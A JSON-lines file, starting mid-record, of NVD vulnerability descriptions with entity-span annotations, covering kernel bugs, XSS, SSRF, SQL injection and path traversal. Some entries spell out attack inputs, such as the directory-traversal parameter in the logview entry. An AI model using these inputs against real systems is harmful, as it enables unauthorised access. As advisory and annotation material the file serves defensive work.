[[1826, 1847], [1878, 1899], [1932, 1953]], "FILEPATH: /x86/entry/common.c": [[2221, 2240], [2282, 2301]], "FILEPATH: nsproxy.c": [[2000, 2009], [2050, 2059]], "FILEPATH: fork.c": [[2099, 2105], [2143, 2149], [2189, 2195]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[489, 495], [496, 502], [518, 524], [546, 552]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48810"}}
{"text": "Nagios XI versions prior to 5.6.11 contain unauthenticated vulnerabilities in the Highcharts local exporting tool. Crafted export requests could (1) inject script into exported/returned content due to insufficient output encoding (XSS), and (2) cause the server to fetch attacker-specified URLs (SSRF), potentially accessing internal network resources. An unauthenticated remote attacker can leverage these issues to execute script in a user's browser when the exported content is viewed and to disclose sensitive information reachable from the export server via SSRF.", "spans": {"VULNERABILITY: SSRF": [[296, 300], [563, 567]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36862"}}
{"text": "When a POST request comes through AJP and the request exceeds the max-post-size limit (maxEntitySize), Undertow's AjpServerRequestConduit implementation closes a connection without sending any response to the client/proxy. This behavior results in that a front-end proxy marking the backend worker (application server) as an error state and not forward requests to the worker for a while. In mod_cluster, this continues until the next STATUS request (10 seconds intervals) from the application server updates the server state. So, in the worst case, it can result in \"All workers are in error state\" and mod_cluster responds \"503 Service Unavailable\" for a while (up to 10 seconds). In mod_proxy_balancer, it does not forward requests to the worker until the \"retry\" timeout passes. However, luckily, mod_proxy_balancer has \"forcerecovery\" setting (On by default; this parameter can force the immediate recovery of all workers without considering the retry parameter of the workers if all workers of a balancer are in error state.). So, unlike mod_cluster, mod_proxy_balancer does not result in responding \"503 Service Unavailable\". An attacker could use this behavior to send a malicious request and trigger server errors, resulting in DoS (denial of service). This flaw was fixed in Undertow 2.2.19.Final, Undertow 2.3.0.Alpha2.", "spans": {"VULNERABILITY: denial of service": [[1242, 1259]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-2053"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnexthop: Fix memory leaks in nexthop notification chain listeners\n\nsyzkaller discovered memory leaks [1] that can be reduced to the\nfollowing commands:\n\n # ip nexthop add id 1 blackhole\n # devlink dev reload pci/0000:06:00.0\n\nAs part of the reload flow, mlxsw will unregister its netdevs and then\nunregister from the nexthop notification chain. Before unregistering\nfrom the notification chain, mlxsw will receive delete notifications for\nnexthop objects using netdevs registered by mlxsw or their uppers. mlxsw\nwill not receive notifications for nexthops using netdevs that are not\ndismantled as part of the reload flow. For example, the blackhole\nnexthop above that internally uses the loopback netdev as its nexthop\ndevice.\n\nOne way to fix this problem is to have listeners flush their nexthop\ntables after unregistering from the notification chain. This is\nerror-prone as evident by this patch and also not symmetric with the\nregistration path where a listener receives a dump of all the existing\nnexthops.\n\nTherefore, fix this problem by replaying delete notifications for the\nlistener being unregistered. This is symmetric to the registration path\nand also consistent with the netdev notification chain.\n\nThe above means that unregister_nexthop_notifier(), like\nregister_nexthop_notifier(), will have to take RTNL in order to iterate\nover the existing nexthops and that any callers of the function cannot\nhold RTNL. This is true for mlxsw and netdevsim, but not for the VXLAN\ndriver. To avoid a deadlock, change the latter to unregister its nexthop\nlistener without holding RTNL, making it symmetric to the registration\npath.\n\n[1]\nunreferenced object 0xffff88806173d600 (size 512):\n  comm \"syz-executor.0\", pid 1290, jiffies 4295583142 (age 143.507s)\n  hex dump (first 32 bytes):\n    41 9d 1e 60 80 88 ff ff 08 d6 73 61 80 88 ff ff  A..`......sa....\n    08 d6 73 61 80 88 ff ff 01 00 00 00 00 00 00 00  ..sa............\n  backtrace:\n    [<ffffffff81a6b576>] kmemleak_alloc_recursive include/linux/kmemleak.h:43 [inline]\n    [<ffffffff81a6b576>] slab_post_alloc_hook+0x96/0x490 mm/slab.h:522\n    [<ffffffff81a716d3>] slab_alloc_node mm/slub.c:3206 [inline]\n    [<ffffffff81a716d3>] slab_alloc mm/slub.c:3214 [inline]\n    [<ffffffff81a716d3>] kmem_cache_alloc_trace+0x163/0x370 mm/slub.c:3231\n    [<ffffffff82e8681a>] kmalloc include/linux/slab.h:591 [inline]\n    [<ffffffff82e8681a>] kzalloc include/linux/slab.h:721 [inline]\n    [<ffffffff82e8681a>] mlxsw_sp_nexthop_obj_group_create drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c:4918 [inline]\n    [<ffffffff82e8681a>] mlxsw_sp_nexthop_obj_new drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c:5054 [inline]\n    [<ffffffff82e8681a>] mlxsw_sp_nexthop_obj_event+0x59a/0x2910 drivers/net/ethernet/mellanox/mlxsw/spectrum_router.c:5239\n    [<ffffffff813ef67d>] notifier_call_chain+0xbd/0x210 kernel/notifier.c:83\n    [<ffffffff813f0662>] blocking_notifier_call_chain kernel/notifier.c:318 [inline]\n    [<ffffffff813f0662>] blocking_notifier_call_chain+0x72/0xa0 kernel/notifier.c:306\n    [<ffffffff8384b9c6>] call_nexthop_notifiers+0x156/0x310 net/ipv4/nexthop.c:244\n    [<ffffffff83852bd8>] insert_nexthop net/ipv4/nexthop.c:2336 [inline]\n    [<ffffffff83852bd8>] nexthop_add net/ipv4/nexthop.c:2644 [inline]\n    [<ffffffff83852bd8>] rtm_new_nexthop+0x14e8/0x4d10 net/ipv4/nexthop.c:2913\n    [<ffffffff833e9a78>] rtnetlink_rcv_msg+0x448/0xbf0 net/core/rtnetlink.c:5572\n    [<ffffffff83608703>] netlink_rcv_skb+0x173/0x480 net/netlink/af_netlink.c:2504\n    [<ffffffff833de032>] rtnetlink_rcv+0x22/0x30 net/core/rtnetlink.c:5590\n    [<ffffffff836069de>] netlink_unicast_kernel net/netlink/af_netlink.c:1314 [inline]\n    [<ffffffff836069de>] netlink_unicast+0x5ae/0x7f0 net/netlink/af_netlink.c:1340\n    [<ffffffff83607501>] netlink_sendmsg+0x8e1/0xe30 net/netlink/af_netlink.c:1929\n    [<ffffffff832fde84>] sock_sendmsg_nosec net/socket.c:704 [inline\n---truncated---", "spans": {"FILEPATH: /linux/kmemleak.h": [[2065, 2082]], "FILEPATH: /linux/slab.h": [[2406, 2419], [2473, 2486]], "FILEPATH: /net/ethernet/mellanox/mlxsw/spectrum_router.c": [[2566, 2612], [2684, 2730], [2817, 2863]], "FILEPATH: /ipv4/nexthop.c": [[3180, 3195], [3243, 3258], [3313, 3328], [3401, 3416]], "FILEPATH: /core/rtnetlink.c": [[3480, 3497], [3638, 3655]], "FILEPATH: /netlink/af_netlink.c": [[3559, 3580], [3712, 3733], [3804, 3825], [3887, 3908]], "FILEPATH: slab.h": [[2155, 2161]], "FILEPATH: slub.c": [[2210, 2216], [2270, 2276], [2354, 2360]], "FILEPATH: notifier.c": [[2932, 2942], [3007, 3017], [3102, 3112]], "FILEPATH: socket.c": [[3962, 3970]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47371"}}
{"text": "Cross Site Scripting (XSS) vulnerability in ZoneMinder before version 1.34.21, allows remote attackers execute arbitrary code, escalate privileges, and obtain sensitive information via PHP_SELF component in classic/views/download.php.", "spans": {"FILEPATH: /views/download.php.": [[214, 234]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25730"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: skip L4 aggregation for UDP tunnel packets\n\nIf NETIF_F_GRO_FRAGLIST or NETIF_F_GRO_UDP_FWD are enabled, and there\nare UDP tunnels available in the system, udp_gro_receive() could end-up\ndoing L4 aggregation (either SKB_GSO_UDP_L4 or SKB_GSO_FRAGLIST) at\nthe outer UDP tunnel level for packets effectively carrying and UDP\ntunnel header.\n\nThat could cause inner protocol corruption. If e.g. the relevant\npackets carry a vxlan header, different vxlan ids will be ignored/\naggregated to the same GSO packet. Inner headers will be ignored, too,\nso that e.g. TCP over vxlan push packets will be held in the GRO\nengine till the next flush, etc.\n\nJust skip the SKB_GSO_UDP_L4 and SKB_GSO_FRAGLIST code path if the\ncurrent packet could land in a UDP tunnel, and let udp_gro_receive()\ndo GRO via udp_sk(sk)->gro_receive.\n\nThe check implemented in this patch is broader than what is strictly\nneeded, as the existing UDP tunnel could be e.g. configured on top of\na different device: we could end-up skipping GRO at-all for some packets.\n\nAnyhow, that is a very thin corner case and covering it will add quite\na bit of complexity.\n\nv1 -> v2:\n - hopefully clarify the commit message", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47036"}}
{"text": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions from 19.2.0 to 19.10.0 (inclusive) are subject to a timing attack in validation of access tokens due to use of regular string comparison for validation of the token rather than a constant time algorithm. This could allow a brute force attack on GoCD server API calls to observe timing differences in validations in order to guess an access token generated by a user for API access. This issue is fixed in GoCD version 19.11.0. As a workaround, users can apply rate limiting or insert random delays to API calls made to GoCD Server via a reverse proxy or other fronting web server. Another workaround, users may disallow use of access tokens by users by having an administrator revoke all access tokens through the \"Access Token Management\" admin function.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-39308"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: don't readahead the relocation inode on RST\n\nOn relocation we're doing readahead on the relocation inode, but if the\nfilesystem is backed by a RAID stripe tree we can get ENOENT (e.g. due to\npreallocated extents not being mapped in the RST) from the lookup.\n\nBut readahead doesn't handle the error and submits invalid reads to the\ndevice, causing an assertion in the scatter-gather list code:\n\n  BTRFS info (device nvme1n1): balance: start -d -m -s\n  BTRFS info (device nvme1n1): relocating block group 6480920576 flags data|raid0\n  BTRFS error (device nvme1n1): cannot find raid-stripe for logical [6481928192, 6481969152] devid 2, profile raid0\n  ------------[ cut here ]------------\n  kernel BUG at include/linux/scatterlist.h:115!\n  Oops: invalid opcode: 0000 [#1] PREEMPT SMP PTI\n  CPU: 0 PID: 1012 Comm: btrfs Not tainted 6.10.0-rc7+ #567\n  RIP: 0010:__blk_rq_map_sg+0x339/0x4a0\n  RSP: 0018:ffffc90001a43820 EFLAGS: 00010202\n  RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffea00045d4802\n  RDX: 0000000117520000 RSI: 0000000000000000 RDI: ffff8881027d1000\n  RBP: 0000000000003000 R08: ffffea00045d4902 R09: 0000000000000000\n  R10: 0000000000000000 R11: 0000000000001000 R12: ffff8881003d10b8\n  R13: ffffc90001a438f0 R14: 0000000000000000 R15: 0000000000003000\n  FS:  00007fcc048a6900(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 000000002cd11000 CR3: 00000001109ea001 CR4: 0000000000370eb0\n  Call Trace:\n   <TASK>\n   ? __die_body.cold+0x14/0x25\n   ? die+0x2e/0x50\n   ? do_trap+0xca/0x110\n   ? do_error_trap+0x65/0x80\n   ? __blk_rq_map_sg+0x339/0x4a0\n   ? exc_invalid_op+0x50/0x70\n   ? __blk_rq_map_sg+0x339/0x4a0\n   ? asm_exc_invalid_op+0x1a/0x20\n   ? __blk_rq_map_sg+0x339/0x4a0\n   nvme_prep_rq.part.0+0x9d/0x770\n   nvme_queue_rq+0x7d/0x1e0\n   __blk_mq_issue_directly+0x2a/0x90\n   ? blk_mq_get_budget_and_tag+0x61/0x90\n   blk_mq_try_issue_list_directly+0x56/0xf0\n   blk_mq_flush_plug_list.part.0+0x52b/0x5d0\n   __blk_flush_plug+0xc6/0x110\n   blk_finish_plug+0x28/0x40\n   read_pages+0x160/0x1c0\n   page_cache_ra_unbounded+0x109/0x180\n   relocate_file_extent_cluster+0x611/0x6a0\n   ? btrfs_search_slot+0xba4/0xd20\n   ? balance_dirty_pages_ratelimited_flags+0x26/0xb00\n   relocate_data_extent.constprop.0+0x134/0x160\n   relocate_block_group+0x3f2/0x500\n   btrfs_relocate_block_group+0x250/0x430\n   btrfs_relocate_chunk+0x3f/0x130\n   btrfs_balance+0x71b/0xef0\n   ? kmalloc_trace_noprof+0x13b/0x280\n   btrfs_ioctl+0x2c2e/0x3030\n   ? kvfree_call_rcu+0x1e6/0x340\n   ? list_lru_add_obj+0x66/0x80\n   ? mntput_no_expire+0x3a/0x220\n   __x64_sys_ioctl+0x96/0xc0\n   do_syscall_64+0x54/0x110\n   entry_SYSCALL_64_after_hwframe+0x76/0x7e\n  RIP: 0033:0x7fcc04514f9b\n  Code: Unable to access opcode bytes at 0x7fcc04514f71.\n  RSP: 002b:00007ffeba923370 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\n  RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007fcc04514f9b\n  RDX: 00007ffeba923460 RSI: 00000000c4009420 RDI: 0000000000000003\n  RBP: 0000000000000000 R08: 0000000000000013 R09: 0000000000000001\n  R10: 00007fcc043fbba8 R11: 0000000000000246 R12: 00007ffeba924fc5\n  R13: 00007ffeba923460 R14: 0000000000000002 R15: 00000000004d4bb0\n   </TASK>\n  Modules linked in:\n  ---[ end trace 0000000000000000 ]---\n  RIP: 0010:__blk_rq_map_sg+0x339/0x4a0\n  RSP: 0018:ffffc90001a43820 EFLAGS: 00010202\n  RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffea00045d4802\n  RDX: 0000000117520000 RSI: 0000000000000000 RDI: ffff8881027d1000\n  RBP: 0000000000003000 R08: ffffea00045d4902 R09: 0000000000000000\n  R10: 0000000000000000 R11: 0000000000001000 R12: ffff8881003d10b8\n  R13: ffffc90001a438f0 R14: 0000000000000000 R15: 0000000000003000\n  FS:  00007fcc048a6900(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007fcc04514f71 CR3: 00000001109ea001 CR4: 0000000000370eb0\n  Kernel p\n---truncated---", "spans": {"FILEPATH: /linux/scatterlist.h": [[785, 805]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49932"}}
{"text": "# Possible XSS Vulnerability in Rails::Html::SanitizerThere is a possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer.This vulnerability has been assigned the CVE identifier CVE-2022-32209.Versions Affected: ALLNot affected: NONEFixed Versions: v1.4.3## ImpactA possible XSS vulnerability with certain configurations of Rails::Html::Sanitizer may allow an attacker to inject content if the application developer has overridden the sanitizer's allowed tags to allow both `select` and `style` elements.Code is only impacted if allowed tags are being overridden. This may be done via application configuration:```ruby# In config/application.rbconfig.action_view.sanitized_allowed_tags = [\"select\", \"style\"]```see https://guides.rubyonrails.org/configuring.html#configuring-action-viewOr it may be done with a `:tags` option to the Action View helper `sanitize`:```<%= sanitize @comment.body, tags: [\"select\", \"style\"] %>```see https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitizeOr it may be done with Rails::Html::SafeListSanitizer directly:```ruby# class-level optionRails::Html::SafeListSanitizer.allowed_tags = [\"select\", \"style\"]```or```ruby# instance-level optionRails::Html::SafeListSanitizer.new.sanitize(@article.body, tags: [\"select\", \"style\"])```All users overriding the allowed tags by any of the above mechanisms to include both \"select\" and \"style\" should either upgrade or use one of the workarounds immediately.## ReleasesThe FIXED releases are available at the normal locations.## WorkaroundsRemove either `select` or `style` from the overridden allowed tags.## CreditsThis vulnerability was responsibly reported by [windshock](https://hackerone.com/windshock?type=user).", "spans": {"CVE_ID: CVE-2022-32209": [[202, 216]], "URL: https://guides.rubyonrails.org/configuring.html#configuring-action-viewOr": [[738, 811]], "URL: https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html#method-i-sanitizeOr": [[952, 1046]], "URL: https://hackerone.com/windshock?type=user": [[1710, 1751]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-32209"}}
{"text": "ipmi-oem in FreeIPMI before 1.16.17 has exploitable buffer overflows on response messages. The Intelligent Platform Management Interface (IPMI) specification defines a set of interfaces for platform management. It is implemented by a large number of hardware manufacturers to support system management. It is most commonly used for sensor reading (e.g., CPU temperatures through the ipmi-sensors command within FreeIPMI) and remote power control (the ipmipower command). The ipmi-oem client command implements a set of a IPMI OEM commands for specific hardware vendors. If a user has supported hardware, they may wish to use the ipmi-oem command to send a request to a server to retrieve specific information. Three subcommands were found to have exploitable buffer overflows on response messages. They are: \"ipmi-oem dell get-last-post-code - get the last POST code and string describing the error on some Dell servers,\" \"ipmi-oem supermicro extra-firmware-info - get extra firmware info on Supermicro servers,\" and \"ipmi-oem wistron read-proprietary-string - read a proprietary string on Wistron servers.\"", "spans": {"ORGANIZATION: Dell": [[907, 911]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33554"}}
{"text": "spring-boot-actuator-logview in a library that adds a simple logfile viewer as spring boot actuator endpoint. It is maven package \"eu.hinsch:spring-boot-actuator-logview\". In spring-boot-actuator-logview before version 0.2.13 there is a directory traversal vulnerability. The nature of this library is to expose a log file directory via admin (spring boot actuator) HTTP endpoints. Both the filename to view and a base folder (relative to the logging folder root) can be specified via request parameters. While the filename parameter was checked to prevent directory traversal exploits (so that `filename=../somefile` would not work), the base folder parameter was not sufficiently checked, so that `filename=somefile&base=../` could access a file outside the logging base directory). The vulnerability has been patched in release 0.2.13. Any users of 0.2.12 should be able to update without any issues as there are no other changes in that release. There is no workaround to fix the vulnerability other than updating or removing the dependency. However, removing read access of the user the application is run with to any directory not required for running the application can limit the impact. Additionally, access to the logview endpoint can be limited by deploying the application behind a reverse proxy.", "spans": {"VULNERABILITY: directory traversal": [[237, 256], [557, 576]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21234"}}
{"text": "The MasterStudy LMS WordPress Plugin for Online Courses and Education plugin for WordPress is vulnerable to Time-based Blind SQL Injection via the 'order' and 'orderby' parameters in the /lms/stm-lms/order/items REST API endpoint in versions up to and including 3.7.25. This is due to insufficient input sanitization combined with a design flaw in the custom Query builder class that allows unquoted SQL injection in ORDER BY clauses. When the Query builder detects parentheses in the sort_by parameter, it treats the value as a SQL function and directly concatenates it into the ORDER BY clause without any quoting. While esc_sql() is applied to escape quotes and backslashes, this cannot prevent ORDER BY injection when the values themselves are not wrapped in quotes in the resulting SQL statement. This makes it possible for authenticated attackers, with subscriber-level access and above, to append arbitrary SQL queries via the ORDER BY clause to extract sensitive information from the database including user credentials, session tokens, and other confidential data through time-based blind SQL injection techniques.", "spans": {"FILEPATH: /lms/stm-lms/order/items": [[187, 211]], "SYSTEM: WordPress": [[20, 29], [81, 90]], "VULNERABILITY: SQL Injection": [[125, 138]], "VULNERABILITY: SQL injection": [[400, 413], [1098, 1111]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-4817"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix irq-disabled in local_bh_enable()\n\nThe rxrpc_assess_MTU_size() function calls down into the IP layer to find\nout the MTU size for a route.  When accepting an incoming call, this is\ncalled from rxrpc_new_incoming_call() which holds interrupts disabled\nacross the code that calls down to it.  Unfortunately, the IP layer uses\nlocal_bh_enable() which, config dependent, throws a warning if IRQs are\nenabled:\n\nWARNING: CPU: 1 PID: 5544 at kernel/softirq.c:387 __local_bh_enable_ip+0x43/0xd0\n...\nRIP: 0010:__local_bh_enable_ip+0x43/0xd0\n...\nCall Trace:\n <TASK>\n rt_cache_route+0x7e/0xa0\n rt_set_nexthop.isra.0+0x3b3/0x3f0\n __mkroute_output+0x43a/0x460\n ip_route_output_key_hash+0xf7/0x140\n ip_route_output_flow+0x1b/0x90\n rxrpc_assess_MTU_size.isra.0+0x2a0/0x590\n rxrpc_new_incoming_peer+0x46/0x120\n rxrpc_alloc_incoming_call+0x1b1/0x400\n rxrpc_new_incoming_call+0x1da/0x5e0\n rxrpc_input_packet+0x827/0x900\n rxrpc_io_thread+0x403/0xb60\n kthread+0x2f7/0x310\n ret_from_fork+0x2a/0x230\n ret_from_fork_asm+0x1a/0x30\n...\nhardirqs last  enabled at (23): _raw_spin_unlock_irq+0x24/0x50\nhardirqs last disabled at (24): _raw_read_lock_irq+0x17/0x70\nsoftirqs last  enabled at (0): copy_process+0xc61/0x2730\nsoftirqs last disabled at (25): rt_add_uncached_list+0x3c/0x90\n\nFix this by moving the call to rxrpc_assess_MTU_size() out of\nrxrpc_init_peer() and further up the stack where it can be done without\ninterrupts disabled.\n\nIt shouldn't be a problem for rxrpc_new_incoming_call() to do it after the\nlocks are dropped as pmtud is going to be performed by the I/O thread - and\nwe're in the I/O thread at this point.", "spans": {"FILEPATH: softirq.c": [[522, 531]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38525"}}
{"text": "Datasette is an open source multi-tool for exploring and publishing data. The `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability. This vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data. Datasette 0.57 and 0.56.1 both include patches for this issue. If you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters.", "spans": {"URL: https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks": [[211, 277]], "URL: https://datasette.io/plugins/datasette-auth-passwords": [[450, 503]], "VULNERABILITY: cross-site scripting": [[189, 209]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32670"}}
{"text": "XWiki Platform is a generic wiki platform. The rendered diff in XWiki embeds images to be able to compare the contents and not display a difference for an actually unchanged image. For this, XWiki requests all embedded images on the server side. These requests are also sent for images from other domains and include all cookies that were sent in the original request to ensure that images with restricted view right can be compared. Starting in version 11.10.1 and prior to versions 14.10.15, 15.5.1, and 15.6, this allows an attacker to steal login and session cookies that allow impersonating the current user who views the diff. The attack can be triggered with an image that references the rendered diff, thus making it easy to trigger. Apart from stealing login cookies, this also allows server-side request forgery (the result of any successful request is returned in the image's source) and viewing protected content as once a resource is cached, it is returned for all users. As only successful requests are cached, the cache will be filled by the first user who is allowed to access the resource. This has been patched in XWiki 14.10.15, 15.5.1 and 15.6. The rendered diff now only downloads images from trusted domains. Further, cookies are only sent when the image's domain is the same the requested domain. The cache has been changed to be specific for each user. As a workaround, the image embedding feature can be disabled by deleting `xwiki-platform-diff-xml-<version>.jar` in `WEB-INF/lib/`.", "spans": {"VULNERABILITY: server-side request forgery": [[794, 821]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-48240"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/vt-d: avoid invalid memory access via node_online(NUMA_NO_NODE)\n\nKASAN reports:\n\n[ 4.668325][ T0] BUG: KASAN: wild-memory-access in dmar_parse_one_rhsa (arch/x86/include/asm/bitops.h:214 arch/x86/include/asm/bitops.h:226 include/asm-generic/bitops/instrumented-non-atomic.h:142 include/linux/nodemask.h:415 drivers/iommu/intel/dmar.c:497)\n[    4.676149][    T0] Read of size 8 at addr 1fffffff85115558 by task swapper/0/0\n[    4.683454][    T0]\n[    4.685638][    T0] CPU: 0 PID: 0 Comm: swapper/0 Not tainted 5.19.0-rc3-00004-g0e862838f290 #1\n[    4.694331][    T0] Hardware name: Supermicro SYS-5018D-FN4T/X10SDV-8C-TLN4F, BIOS 1.1 03/02/2016\n[    4.703196][    T0] Call Trace:\n[    4.706334][    T0]  <TASK>\n[ 4.709133][ T0] ? dmar_parse_one_rhsa (arch/x86/include/asm/bitops.h:214 arch/x86/include/asm/bitops.h:226 include/asm-generic/bitops/instrumented-non-atomic.h:142 include/linux/nodemask.h:415 drivers/iommu/intel/dmar.c:497)\n\nafter converting the type of the first argument (@nr, bit number)\nof arch_test_bit() from `long` to `unsigned long`[0].\n\nUnder certain conditions (for example, when ACPI NUMA is disabled\nvia command line), pxm_to_node() can return %NUMA_NO_NODE (-1).\nIt is valid 'magic' number of NUMA node, but not valid bit number\nto use in bitops.\nnode_online() eventually descends to test_bit() without checking\nfor the input, assuming it's on caller side (which might be good\nfor perf-critical tasks). There, -1 becomes %ULONG_MAX which leads\nto an insane array index when calculating bit position in memory.\n\nFor now, add an explicit check for @node being not %NUMA_NO_NODE\nbefore calling test_bit(). The actual logics didn't change here\nat all.\n\n[0] https://github.com/norov/linux/commit/0e862838f290147ea9c16db852d8d494b552d38d", "spans": {"URL: https://github.com/norov/linux/commit/0e862838f290147ea9c16db852d8d494b552d38d": [[1754, 1832]], "FILEPATH: /x86/include/asm/bitops.h": [[232, 257], [266, 291], [830, 855], [864, 889]], "FILEPATH: /asm-generic/bitops/instrumented-non-atomic.h": [[303, 348], [901, 946]], "FILEPATH: /linux/nodemask.h": [[360, 377], [958, 975]], "FILEPATH: /iommu/intel/dmar.c": [[389, 408], [987, 1006]], "FILEPATH: /0/0": [[492, 496]], "FILEPATH: /02/2016": [[711, 719]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50093"}}
{"text": "Fides is an open-source privacy engineering platform. `fides.js`, a client-side script used to interact with the consent management features of Fides, used the `polyfill.io` domain in a very limited edge case, when it detected a legacy browser such as IE11 that did not support the fetch standard. Therefore it was possible for users of legacy, pre-2017 browsers who navigate to a page serving `fides.js` to download and execute malicious scripts from the `polyfill.io` domain when the domain was compromised and serving malware. No exploitation of `fides.js` via `polyfill.io` has been identified as of time of publication.\n\nThe vulnerability has been patched in Fides version `2.39.1`. Users are advised to upgrade to this version or later to secure their systems against this threat. On Thursday, June 27, 2024, Cloudflare and Namecheap intervened at a domain level to ensure `polyfill.io` and its subdomains could not resolve to the compromised service, rendering this vulnerability unexploitable. Prior to the domain level intervention, there were no server-side workarounds and the confidentiality, integrity, and availability impacts of this vulnerability were high. Clients could ensure they were not affected by using a modern browser that supported the fetch standard.", "spans": {"DOMAIN: polyfill.io": [[161, 172], [457, 468], [565, 576], [880, 891]], "FILEPATH: fides.js": [[55, 63], [395, 403], [550, 558]], "ORGANIZATION: Cloudflare": [[815, 825]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38537"}}
{"text": "Impact:\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for (CVE-2025-13465: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\nPatches:\n\nThis issue is patched in 4.18.0.\n\nWorkarounds:\n\nNone. Upgrade to the patched version.", "spans": {"CVE_ID: CVE-2025-13465": [[133, 147]], "URL: https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg": [[149, 221]], "VULNERABILITY: prototype pollution": [[63, 82]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-2950"}}
{"text": "The Experto Dashboard for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's settings fields (including 'Navigation Font Size', 'Navigation Font Weight', 'Heading Font Size', 'Heading Font Weight', 'Text Font Size', and 'Text Font Weight') in all versions up to and including 1.0.4. This is due to insufficient input sanitization (no sanitize callback in register_setting()) and missing output escaping (no esc_attr() in the field_callback() printf output) on user-supplied values. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses the settings page. This only affects multi-site installations and installations where unfiltered_html has been disabled.", "spans": {"SYSTEM: WordPress": [[49, 58]], "VULNERABILITY: Cross-Site Scripting": [[83, 103]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-3574"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.SparseConcat`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/b432a38fe0e1b4b904a6c222cbce794c39703e87/tensorflow/core/kernels/sparse_concat_op.cc#L76) takes the values specified in `shapes[0]` as dimensions for the output shape. The `TensorShape` constructor(https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188) uses a `CHECK` operation which triggers when `InitDims`(https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296) returns a non-OK status. This is a legacy implementation of the constructor and operations should use `BuildTensorShapeBase` or `AddDimWithStatus` to prevent `CHECK`-failures in the presence of overflows. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/b432a38fe0e1b4b904a6c222cbce794c39703e87/tensorflow/core/kernels/sparse_concat_op.cc#L76": [[199, 333]], "URL: https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L183-L188": [[443, 581]], "URL: https://github.com/tensorflow/tensorflow/blob/6f9896890c4c703ae0a0845394086e2e1e523299/tensorflow/core/framework/tensor_shape.cc#L212-L296": [[639, 777]], "VULNERABILITY: denial of service": [[97, 114]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29534"}}
